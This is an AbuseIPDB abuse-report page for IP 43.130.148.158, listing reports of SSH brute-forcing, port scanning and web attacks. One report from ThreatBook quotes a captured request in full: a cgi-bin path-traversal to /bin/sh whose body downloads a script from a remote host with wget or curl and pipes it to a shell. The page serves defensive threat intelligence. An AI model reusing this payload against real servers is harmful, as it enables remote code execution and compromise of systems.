JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 43.130.148.158

43.130.148.158 was found in our database!

This IP was reported 145 times. Confidence of Abuse is 0%: ?

ISP	Asia Pacific Network Information Center, Pty. Ltd.
Usage Type	Data Center/Web Hosting/Transit
ASN	AS132203
Domain Name	apnic.net
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 43.130.148.158

Whois 43.130.148.158

IP Abuse Reports for 43.130.148.158:

This IP address has been reported a total of 145 times from 100 distinct sources. 43.130.148.158 was first reported on November 3rd 2025, and the most recent report was 7 months ago.

Old Reports: The most recent abuse report for this IP address is from 7 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇦🇹 urnilxfgbez	2025-12-29 23:45:00 (7 months ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇨🇳 ThreatBook.io	2025-12-29 23:07:15 (7 months ago)	ThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/43.130.148.158 2025 ... show more ThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/43.130.148.158 2025-12-29 00:18:24 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://178.16.55.224/sh \|\| curl -sk https://178.16.55.224/sh) \| sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["/"],"Connection":["keep-alive"],"Content-Length":["119"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"]},"host":"155.248.173.154:80","method":"POST","proto":"HTTP/1.1","remote_addr":"43.130.148.158:35044","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"} show less	SSH
🇹🇷 rtbh.com.tr	2025-12-29 20:10:43 (7 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇯🇵 zwh	2025-12-29 18:04:07 (7 months ago)	SSH Brute-Force	Brute-Force SSH
🇺🇸 yzfdude1	2025-12-29 06:11:12 (7 months ago)	Dec 28 23:11:10 kore sshd[1922857]: Invalid user orangepi from 43.130.148.158 port 34894 Dec 28 23:1 ... show more Dec 28 23:11:10 kore sshd[1922857]: Invalid user orangepi from 43.130.148.158 port 34894 Dec 28 23:11:10 kore sshd[1922857]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.130.148.158 Dec 28 23:11:12 kore sshd[1922857]: Failed password for invalid user orangepi from 43.130.148.158 port 34894 ssh2 ... show less	Brute-Force SSH
🇧🇷 chronos	2025-12-29 06:00:46 (7 months ago)	Generic malicious activity detected: [HONEYPOT] Attempted SSH access... \| Proto: TCP \| Port: 2222 \| ... show more Generic malicious activity detected: [HONEYPOT] Attempted SSH access... \| Proto: TCP \| Port: 2222 \| Location: United States, Ashburn show less	Port Scan Hacking
🇺🇸 drewf.ink	2025-12-29 05:59:54 (7 months ago)	[05:59] Attempted SSH login on port 22 with credentials root:P	Brute-Force SSH
🇺🇸 drewf.ink	2025-12-29 05:37:06 (7 months ago)	[05:37] Attempted SSH login on port 22 with credentials admin:admin	Brute-Force SSH
🇺🇸 MPL	2025-12-29 05:24:27 (7 months ago)	tcp/443 (6 or more attempts)	Port Scan
🇩🇪 ps-center	2025-12-29 04:51:48 (7 months ago)	SS5-W: TCP-Scanner. Port: 22	Port Scan
🇩🇪 LoNET	2025-12-29 04:48:58 (7 months ago)	Report 2002397 with IP 3049955 for SSH brute-force attack by source 3044622 via ssh-honeypot/0.2.1+h ... show more Report 2002397 with IP 3049955 for SSH brute-force attack by source 3044622 via ssh-honeypot/0.2.1+http show less	Brute-Force SSH
🇧🇾 lns.bz	2025-12-29 04:33:44 (7 months ago)	Too many 404 requests [BY]	Web App Attack
🇺🇸 bigscoots.com	2025-12-29 04:29:16 (7 months ago)	43.130.148.158 (US/United States/-), 5 distributed sshd attacks on account [admin] in the last 3600 ... show more 43.130.148.158 (US/United States/-), 5 distributed sshd attacks on account [admin] in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_DISTATTACK; Logs: Dec 28 22:28:57 15569 sshd[10590]: Invalid user admin from 207.180.208.197 port 54298 Dec 28 22:20:24 15569 sshd[9984]: Invalid user admin from 43.130.148.158 port 44336 Dec 28 22:20:26 15569 sshd[9984]: Failed password for invalid user admin from 43.130.148.158 port 44336 ssh2 Dec 28 22:17:17 15569 sshd[9773]: Invalid user admin from 166.108.228.172 port 33186 Dec 28 22:17:18 15569 sshd[9773]: Failed password for invalid user admin from 166.108.228.172 port 33186 ssh2 IP Addresses Blocked: 207.180.208.197 (DE/Germany/vmi2972925.contaboserver.net) show less	Brute-Force SSH
🇩🇪 formality	2025-12-29 04:06:53 (7 months ago)	Invalid user admin from 43.130.148.158 port 40700	Brute-Force SSH
🇮🇩 sockominfo	2025-12-29 04:00:47 (7 months ago)	Stacked query SQL injection. Threat Score: 5.8/10 (MEDIUM). Reported by TangerangKota-CSIRT	Hacking Brute-Force

Showing 1 to 15 of 145 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 175.169.235.193

🇨🇳 123.144.29.216

🇨🇳 123.12.25.163

🇭🇰 118.193.33.216

🇩🇪 69.5.169.117

🇱🇹 62.60.130.201

🇮🇩 2a09:bac1:34c0:18::1f1:1be

🇸🇬 2400:cb00:35:1000:881b:10d9:465b:7d53

🇨🇳 220.177.9.119

🇱🇹 213.176.26.37

🇳🇱 204.76.203.18

🇺🇸 173.255.221.189

🇺🇸 134.209.63.90

🇬🇧 87.106.63.76

🇹🇷 85.99.93.205

🇳🇱 81.19.216.76

🇩🇪 69.5.169.191

🇩🇪 69.5.169.9

🇰🇷 211.253.9.49

🇮🇱 130.185.101.86